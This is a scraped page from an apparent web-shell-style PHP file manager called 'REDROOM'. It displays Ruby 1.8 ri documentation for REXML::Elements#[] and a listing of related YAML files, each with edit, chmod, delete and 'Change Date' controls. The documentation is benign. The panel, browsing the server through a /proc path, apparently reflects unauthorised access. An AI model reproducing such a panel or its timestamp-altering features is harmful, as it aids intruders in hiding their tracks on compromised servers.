REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.67 KB
Close
/proc/thread-self/root/opt/alt/ruby18/share/ri/1.8/system/REXML/Elements/%5b%5d-i.yaml
Text
Base64
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Fetches a child element. Filters only Element children, regardless of the XPath match. - !ruby/object:SM::Flow::LIST contents: - !ruby/struct:SM::Flow::LI label: "index:" body: the search parameter. This is either an Integer, which will be used to find the index'th child Element, or an XPath, which will be used to search for the Element. <em>Because of the nature of XPath searches, any element in the connected XML document can be fetched through any other element.</em> <b>The Integer index is 1-based, not 0-based.</b> This means that the first child element is at index 1, not 0, and the +n+th element is at index <tt>n</tt>, not <tt>n-1</tt>. This is because XPath indexes element children starting from 1, not 0, and the indexes should be the same. - !ruby/struct:SM::Flow::LI label: "name:" body: optional, and only used in the first argument is an Integer. In that case, the index'th child Element that has the supplied name will be returned. Note again that the indexes start at 1. - !ruby/struct:SM::Flow::LI label: "Returns:" body: the first matching Element, or nil if no child matched type: :NOTE - !ruby/struct:SM::Flow::VERB body: " doc = Document.new '<a><b/><c id="1"/><c id="2"/><d/></a>'\n doc.root.elements[1] #-> <b/>\n doc.root.elements['c'] #-> <c id="1"/>\n doc.root.elements[2,'c'] #-> <c id="2"/>\n" full_name: REXML::Elements#[] is_singleton: false name: "[]" params: ( index, name=nil) visibility: public
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 16
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
%3c%3c-i.yaml
233 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
%5b%5d%3d-i.yaml
1.11 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
%5b%5d-i.yaml
1.67 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
add-i.yaml
841 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cdesc-Elements.yaml
1.22 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
collect-i.yaml
209 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
delete-i.yaml
998 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
delete_all-i.yaml
814 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
each-i.yaml
1.24 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
empty%3f-i.yaml
301 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index-i.yaml
456 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
inject-i.yaml
240 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
literalize-i.yaml
281 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
new-c.yaml
362 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
size-i.yaml
510 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
to_a-i.yaml
777 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).